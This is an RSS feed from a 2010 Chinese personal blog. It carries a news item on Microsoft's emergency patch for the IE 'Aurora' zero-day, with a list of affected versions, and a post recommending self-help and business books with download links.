<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.nodll.com/styles/feedsky8.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link href="http://feed.nodll.com" type="application/rss+xml" rel="self"></atom:link><fs:self_link href="http://feed.feedsky.com/PraysBlog" type="application/rss+xml"></fs:self_link><lastBuildDate>Fri, 22 Jan 2010 02:31:01 GMT</lastBuildDate><title>Pray's Blog</title><description>记录我新的旅程</description><link>http://www.nodll.com</link><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><language>en</language><pubDate>Fri, 22 Jan 2010 02:34:12 GMT</pubDate><item><title>IE 0day(极光)漏洞 微软发布非常规补丁</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/324295414/6037734/1/item.html</link><content:encoded>&lt;p&gt;　　微软针对黑客用来攻击Google及其它33家公司的IE零日漏洞发布紧急更新。&lt;/p&gt;
&lt;p&gt;　　这是微软2010年首次发布非常规补丁，按照常规，微软将于2月份第二周周二发布漏洞补丁。目前针对极光漏洞的病毒疫情十分紧急，短短3天内，极光漏洞已经迅速被国内黑客广泛用于网站挂马，目前已有大约70%的挂马网站利用这一漏洞传播各类恶意软件。微软已向所有MAPP成员发送通知，表示将要发布针对该漏洞的紧急补丁，要求所有成员做好相关安全部署的准备，用户可以通过微软系统自动升级程序以及杀毒软件的漏洞扫描程序修复该漏洞。&lt;/p&gt;
&lt;p&gt;　　上周五，法国和德国IT安全组织建议，在漏洞修复之前，IE用户最好换用其他浏览器或者直接弃用IE。澳大利亚官方也有类似的举动。&lt;/p&gt;
&lt;p&gt;　　英国sophos杀毒软件公司资深安全顾问格雷厄姆·克卢利说，从业多年来，在他印象中，欧洲国家还没有“这样强烈地发出建议”推荐用户使用其他产品。&lt;/p&gt;
&lt;p&gt;　　“极光”漏洞影响的微软操作系统及IE版本如下：&lt;/p&gt;
&lt;p&gt;　　Windows 2000 SP4平台：IE 5.01 SP4、IE6 SP1;&lt;/p&gt;
&lt;p&gt;　　Windows XP SP2/SP3平台：IE6、IE7、IE8;&lt;/p&gt;
&lt;p&gt;　　64位Windows XP专业版SP2平台：IE6、IE7、IE8;&lt;/p&gt;
&lt;p&gt;　　32位及64位Windows Vista、Windows Vista SP1/SP2平台：IE7、IE8;&lt;/p&gt;
&lt;p&gt;　　32位及64位Windows 7平台：IE8;&lt;/p&gt;
&lt;p&gt;　　32位、Itanium及64位Windows Server 2003 SP2平台：IE6、IE7、IE8;&lt;/p&gt;
&lt;p&gt;　　32位、Itanium及64位Windows Server 2008、Windows Server 2008 SP2平台：IE7、IE8;&lt;/p&gt;
&lt;p&gt;　　Itanium及64位Windows Server 2008 R2平台：IE8。&lt;/p&gt;
&lt;p&gt;　　傲游公布了一个模拟利用该漏洞攻击的页面，试试这漏洞对你浏览器有没有危害吧，如果出现本机计算器程序启动或浏览器崩溃，说明您的浏览器会因此漏洞受到木马病毒的攻击，造成您的网游，银行卡等账号被盗丢失。测试地址：&lt;a href=&quot;http://www.maxthon.cn/test/security.htm&quot; target=&quot;_blank&quot;&gt;http://www.maxthon.cn/test/security.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2010/01/22/ie0daybug/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2010/01/22/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;ie0daybug&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/324295414/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/324295414/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/324295414/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/324295414/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=81adc9ce93eb5d5dba13bd1dba4daa7c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=81adc9ce93eb5d5dba13bd1dba4daa7c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1086faa8a9500e89c71f0ba5569ca485&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1086faa8a9500e89c71f0ba5569ca485&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=94cf8bee92862aea515b593a9766837b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=94cf8bee92862aea515b593a9766837b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f2dd13d536cfca66c8839bbfafa035fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f2dd13d536cfca66c8839bbfafa035fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9e280e7b5573556bcfa7f4f504b97889&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9e280e7b5573556bcfa7f4f504b97889&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c7b95945da824cb34666c6a9b9b0baba&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c7b95945da824cb34666c6a9b9b0baba&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=12256244c51883df635c7641154dcd22&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=12256244c51883df635c7641154dcd22&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c69f3ce7ea52d2b499d317c25199bd5c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c69f3ce7ea52d2b499d317c25199bd5c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=7e5e24a0938759cf44b85e6a46275308&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=7e5e24a0938759cf44b85e6a46275308&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2010/01/22/ie0daybug/Pray.html/feed</wfw:commentRss><slash:comments>2</slash:comments><description>　　微软针对黑客用来攻击Google及其它33家公司的IE零日漏洞发布紧急更新。
　　这是微软2010年首次发布非常规补丁，按照常规，微软将于2月份第二周周二发布漏洞补丁。目前针对极光漏洞的病毒疫情十分紧急，短短3天内，极光漏洞已经迅速被国内黑客广泛用于网站挂马，目前已有大约70%的挂马网站利用这一漏洞传播各类恶意软件。微软已向所有MAPP成员发送通知，表示将要发布针对该漏洞的紧急补丁，要求所有成员做好相关安全部署的准备，用户可以通过微软系统自动升级程序以及杀毒软件的漏洞扫描程序修复该漏洞。
　　上周五，法国和德国IT安全组织建议，在漏洞修复之前，IE用户最好换用其他浏览器或者直接弃用IE。澳大利亚官方也有类似的举动。
　　英国sophos杀毒软件公司资深安全顾问格雷厄姆·克卢利说，从业多年来，在他印象中，欧洲国家还没有“这样强烈地发出建议”推荐用户使用其他产品。
　　“极光”漏洞影响的微软操作系统及IE版本如下：
　　Windows 2000 SP4平台：IE 5.01 SP4、IE6 SP1;
　　Windows XP SP2/SP3平台：IE6、IE7、IE8;
　　64位Windows XP专业版SP2平台：IE6、IE7、IE8;
　　32位及64位Windows Vista、Windows Vista SP1/SP2平台：IE7、IE8;
　　32位及64位Windows 7平台：IE8;
　　32位、Itanium及64位Windows Server 2003 SP2平台：IE6、IE7、IE8;
　　32位、Itanium及64位Windows Server 2008、Windows Server 2008 SP2平台：IE7、IE8;
　　Itanium及64位Windows Server 2008 R2平台：IE8。
　　傲游公布了一个模拟利用该漏洞攻击的页面，试试这漏洞对你浏览器有没有危害吧，如果出现本机计算器程序启动或浏览器崩溃，说明您的浏览器会因此漏洞受到木马病毒的攻击，造成您的网游，银行卡等账号被盗丢失。测试地址：http://www.maxthon.cn/test/security.htm
文章地址:http://www.nodll.com/2010/01/22/ie0daybug/Pray.html&lt;img src=&quot;http://www1.feedsky.com/t1/324295414/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/324295414/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/324295414/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/324295414/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=81adc9ce93eb5d5dba13bd1dba4daa7c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=81adc9ce93eb5d5dba13bd1dba4daa7c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1086faa8a9500e89c71f0ba5569ca485&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1086faa8a9500e89c71f0ba5569ca485&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=94cf8bee92862aea515b593a9766837b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=94cf8bee92862aea515b593a9766837b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f2dd13d536cfca66c8839bbfafa035fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f2dd13d536cfca66c8839bbfafa035fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9e280e7b5573556bcfa7f4f504b97889&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9e280e7b5573556bcfa7f4f504b97889&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c7b95945da824cb34666c6a9b9b0baba&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c7b95945da824cb34666c6a9b9b0baba&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=12256244c51883df635c7641154dcd22&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=12256244c51883df635c7641154dcd22&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c69f3ce7ea52d2b499d317c25199bd5c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c69f3ce7ea52d2b499d317c25199bd5c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=7e5e24a0938759cf44b85e6a46275308&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=7e5e24a0938759cf44b85e6a46275308&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>网站</category><category>微软</category><category>漏洞</category><category>windows</category><category>黑客</category><category>IE</category><category>杀毒</category><category>安全防护</category><pubDate>Fri, 22 Jan 2010 10:31:01 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2010/01/22/ie0daybug/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=259</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2010/01/22/ie0daybug/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/324295414/6037734</fs:itemid></item><item><title>推荐几本自己喜欢的书籍</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323943990/6037734/1/item.html</link><content:encoded>&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;strong&gt;《不抱怨的世界》-威尔·鲍温著　　&lt;a href=&quot;http://www.nodll.com/dbbydsj.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;/span&gt;　　《不抱怨的世界》是畅销全球80国的世界级励志书！世界500强企业团购率第1！冯仑、唐骏、张德芬、奥普拉感动推荐！美国亚马逊、台湾金石堂、诚品书店心灵励志新书销量第1名！&lt;br /&gt;
　　抱怨是最消耗能量的无益举动。有时候，我们的抱怨不仅会针对人、也会针对不同的生活情境，表示我们的不满。而且如果找不到人倾听我们的抱怨，我们会在脑海里抱怨给自己听。《不抱怨的世界》作者提出的神奇“不抱怨”运动，来的恰是时候，它正是我们现代人最需要的。我们可以这样看：天下只有三种事：我的事，他的事，老天的事。抱怨自己的人，应该试着学习接纳自己；抱怨他人的人，应该试着把抱怨转成请求；抱怨老天的人，请试着用祈祷的方式来诉求你的愿望。这样一来，你的生活会有想象不到的大转变，你的人生也会更加地美好、圆满。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;strong&gt;《世界因你不同》-李开复著　　&lt;a href=&quot;http://www.nodll.com/dsjynbt.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
　　这是李开复唯一的一本自传，字里行间，是岁月流逝中沉淀下来的宝贵的人生智慧和职场经验。捣蛋的“小皇帝”，11岁的“留学生”，奥巴马的大学同学，26岁的副教授，33岁的苹果副总裁，谷歌中国的创始人，他有着太多传奇的经历，为了他，两家最大的IT公司对簿公堂。而他的每一次人生选择，都是一次成功的自我超越。&lt;br /&gt;
　　透过这本自传，李开复真诚讲述了他鲜为人知的成长史、风雨兼程的成功史和烛照人生的心灵史，也首次全面披露了他亲历的苹果、微软、谷歌等IT巨头风云变幻的内幕。娓娓道来，字字珠玑。&lt;br /&gt;
　　抓住一切去探寻生命的意义，总有一天，世界将因你不同。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;《做最好的自己》-李开复著　　&lt;a href=&quot;http://www.nodll.com/dzzhdzj.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/strong&gt;　　《做最好的自己》由Google公司中国区总裁李开复创作而成，用了近百个真实案例，来阐述如何运用“成功同心圆”法则选择自己的价值观，阐述如何运用自己的智慧，“选择做一个融会中西的国际化人才”，最终说明“成功就是做最好的自己”。这些案例当中，有李开复自己的成败得失，也有如比尔·盖茨一般显赫人物的故事。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;strong&gt;《与未来同行》-李开复著　　&lt;a href=&quot;http://www.nodll.com/dywltx.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
　　本书以“未来”为主线，划分为三个主题。 迎接未来——给青年学生的信：这一部分收录的是我自2000年以来写给青年学生的七封公开信。以公开信的方式与广大青年学生交流思想，向他们介绍学习和成长的经验。 创造未来——网络时代的创新、人才与文化：收录在这一部分的文章可以说是写给中国企业的“公开信”。在这些文章中剖析了微软、Google等著名跨国企业的成功之道，探寻了网络时代中IT产业和现代企业所要面临的诸多根本性问题，并针对科技创新、人才战略以及现代企业的管理与文化等话题介绍了他的想法和建议。 憧憬未来——未来一代的教育和成长：收录在这一部分的文章均与中国的教育事业以及青少年的成长相关。其中不但包括写给主管教育工作的领导人或高校管理者，探讨中国教育事业改革与发展的公开信，也包括我向关注中国教育事业的人以及广大学生和家长介绍国外教育领域的成功经验，推荐有利于青少年成长的先进教育理念的文章，甚至还包括回忆李博士自己的大学生活的一篇“趣文”。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;strong&gt;《创意闪电》-陈方著　　&lt;a href=&quot;http://www.nodll.com/dcysd.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;br /&gt;
&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;　　创意就是生存之父！创意就是历史之母！创意就是文明的发端！创意就是文化的源泉！创意就是科学的动力！创意就是命运的契机！创意就是成功的法宝！创意就是艺术的真谛！创意就是生机之闪电！&lt;br /&gt;
　　创意＋凡人＝能人&lt;br /&gt;
　　创意＋绘画＝画家&lt;br /&gt;
　　创意＋实验＝发明家&lt;br /&gt;
　　创意＋制作＝技师&lt;br /&gt;
　　创意＋写作＝作家&lt;br /&gt;
　　创意＋音符＝作曲家&lt;br /&gt;
　　创意＋作战＝军事家&lt;br /&gt;
　　创意＋诗歌＝诗人&lt;br /&gt;
　　创意＋广告＋质量＝名牌&lt;br /&gt;
　　创意＋学生＝优等生&lt;br /&gt;
　　创意＋商人＝百万富翁&lt;br /&gt;
　　创意＋智能放大＋实干＝英雄&lt;br /&gt;
　　可以这样说，无论是文学、绘画、音乐、舞蹈、体育、宗教、政治、教育、军事、经济、科技等，无论任何方面，一切都离不开创意。创意是所有“创新活动”的起点、动力、源泉、目的，这可称之为“创意存在律”。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;strong&gt;《赢》-杰克·韦尔奇著　　&lt;a href=&quot;http://www.nodll.com/dy.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;/a&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/span&gt;　　《赢》中，韦尔奇结合亲身管理实践及大量鲜活的案例，将其在工作与生活中“赢”的智慧倾囊相授，内容涉及商务活动的诸多层面，包括商业生活的要旨、企业领导的管理智慧、普通员工的求职与晋升之道，乃至如何实现工作与生活的平衡。本书凝聚了韦尔奇一生的管理智慧，是其执掌通用21年来领导艺术的总结与升华。&lt;br /&gt;
　　本书并不是专为CEO所写。无论你是来自跨国公司，还是小型企业；无论你是生产线上的工人、刚毕业的大学生或MBA，还是项目经理，或者企业的高层领导，只要你胸中燃烧着奋斗激情，都将从中受益。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;strong&gt;《赢的答案》-杰克·韦尔奇著　　&lt;a href=&quot;http://www.nodll.com/dydda.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
　　《赢的答案》这也许是韦尔奇最后一部著作了，谁知道呢？千万不要小看这本书，它貌似简单，全书由74个问题和韦尔奇的回答组成，全书不过13万字。但就是这样一本书，却不同于韦尔奇之前的《自传》和《赢》。韦尔奇的3本书各有特色，自传偏重讲述，不免存在记忆失误、叙述随意、经验总结不够集中等问题。而在第二本《赢》里，韦尔奇试图板起面孔做一个理论家，构建一套体系。这本《赢的答案》，可以说是这位“世界上最伟大的CEO”的一生智慧的总结。无数人向韦尔奇提出各种各样的问题，韦尔奇精心挑选了74个，这些都是关系到每个人、每个管理者、每个企业的现实性的问题。韦尔奇举轻若重，以牛刀来杀鸡，在每一个回答中都融入了毕生的经验和体会。大师之所以是大师，就是对于最简单的问题，可以给出最让我们受益匪浅的答案。&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&lt;strong&gt;《李开复的信与建议》　　&lt;a href=&quot;http://www.nodll.com/dxyjy.rar&quot; target=&quot;_blank&quot;&gt;点击下载&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2010/01/21/lovebooks/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2010/01/21/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;lovebooks&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323943990/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323943990/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323943990/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323943990/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b981985a253ec60e00396b95459e1a5e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b981985a253ec60e00396b95459e1a5e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1b21cb1d9f829212437ff0bae29580ff&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1b21cb1d9f829212437ff0bae29580ff&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e5d6ef0bc8b931236e0b7aec98c056d7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e5d6ef0bc8b931236e0b7aec98c056d7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=07b83be1600c6c8316d6fcece5194802&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=07b83be1600c6c8316d6fcece5194802&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4080418760cf6530a03faec2a9c9fd23&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4080418760cf6530a03faec2a9c9fd23&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=8561df59f4b2d7ebfaf785e2fe71ad85&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=8561df59f4b2d7ebfaf785e2fe71ad85&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3b0f142f79b44f8363c4016bcc393c8c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3b0f142f79b44f8363c4016bcc393c8c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9e5b50670aee8ab65f3ae0ed3e50e92a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9e5b50670aee8ab65f3ae0ed3e50e92a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=d200bbcb7e9da8b0a7aa7fcee86ea6f3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=d200bbcb7e9da8b0a7aa7fcee86ea6f3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2010/01/21/lovebooks/Pray.html/feed</wfw:commentRss><slash:comments>7</slash:comments><description>《不抱怨的世界》-威尔·鲍温著　　点击下载
　　《不抱怨的世界》是畅销全球80国的世界级励志书！世界500强企业团购率第1！冯仑、唐骏、张德芬、奥普拉感动推荐！美国亚马逊、台湾金石堂、诚品书店心灵励志新书销量第1名！
　　抱怨是最消耗能量的无益举动。有时候，我们的抱怨不仅会针对人、也会针对不同的生活情境，表示我们的不满。而且如果找不到人倾听我们的抱怨，我们会在脑海里抱怨给自己听。《不抱怨的世界》作者提出的神奇“不抱怨”运动，来的恰是时候，它正是我们现代人最需要的。我们可以这样看：天下只有三种事：我的事，他的事，老天的事。抱怨自己的人，应该试着学习接纳自己；抱怨他人的人，应该试着把抱怨转成请求；抱怨老天的人，请试着用祈祷的方式来诉求你的愿望。这样一来，你的生活会有想象不到的大转变，你的人生也会更加地美好、圆满。
《世界因你不同》-李开复著　　点击下载
　　这是李开复唯一的一本自传，字里行间，是岁月流逝中沉淀下来的宝贵的人生智慧和职场经验。捣蛋的“小皇帝”，11岁的“留学生”，奥巴马的大学同学，26岁的副教授，33岁的苹果副总裁，谷歌中国的创始人，他有着太多传奇的经历，为了他，两家最大的IT公司对簿公堂。而他的每一次人生选择，都是一次成功的自我超越。
　　透过这本自传，李开复真诚讲述了他鲜为人知的成长史、风雨兼程的成功史和烛照人生的心灵史，也首次全面披露了他亲历的苹果、微软、谷歌等IT巨头风云变幻的内幕。娓娓道来，字字珠玑。
　　抓住一切去探寻生命的意义，总有一天，世界将因你不同。
《做最好的自己》-李开复著　　点击下载
　　《做最好的自己》由Google公司中国区总裁李开复创作而成，用了近百个真实案例，来阐述如何运用“成功同心圆”法则选择自己的价值观，阐述如何运用自己的智慧，“选择做一个融会中西的国际化人才”，最终说明“成功就是做最好的自己”。这些案例当中，有李开复自己的成败得失，也有如比尔·盖茨一般显赫人物的故事。
《与未来同行》-李开复著　　点击下载
　　本书以“未来”为主线，划分为三个主题。 迎接未来——给青年学生的信：这一部分收录的是我自2000年以来写给青年学生的七封公开信。以公开信的方式与广大青年学生交流思想，向他们介绍学习和成长的经验。 创造未来——网络时代的创新、人才与文化：收录在这一部分的文章可以说是写给中国企业的“公开信”。在这些文章中剖析了微软、Google等著名跨国企业的成功之道，探寻了网络时代中IT产业和现代企业所要面临的诸多根本性问题，并针对科技创新、人才战略以及现代企业的管理与文化等话题介绍了他的想法和建议。 憧憬未来——未来一代的教育和成长：收录在这一部分的文章均与中国的教育事业以及青少年的成长相关。其中不但包括写给主管教育工作的领导人或高校管理者，探讨中国教育事业改革与发展的公开信，也包括我向关注中国教育事业的人以及广大学生和家长介绍国外教育领域的成功经验，推荐有利于青少年成长的先进教育理念的文章，甚至还包括回忆李博士自己的大学生活的一篇“趣文”。
《创意闪电》-陈方著　　点击下载
　　创意就是生存之父！创意就是历史之母！创意就是文明的发端！创意就是文化的源泉！创意就是科学的动力！创意就是命运的契机！创意就是成功的法宝！创意就是艺术的真谛！创意就是生机之闪电！
　　创意＋凡人＝能人
　　创意＋绘画＝画家
　　创意＋实验＝发明家
　　创意＋制作＝技师
　　创意＋写作＝作家
　　创意＋音符＝作曲家
　　创意＋作战＝军事家
　　创意＋诗歌＝诗人
　　创意＋广告＋质量＝名牌
　　创意＋学生＝优等生
　　创意＋商人＝百万富翁
　　创意＋智能放大＋实干＝英雄
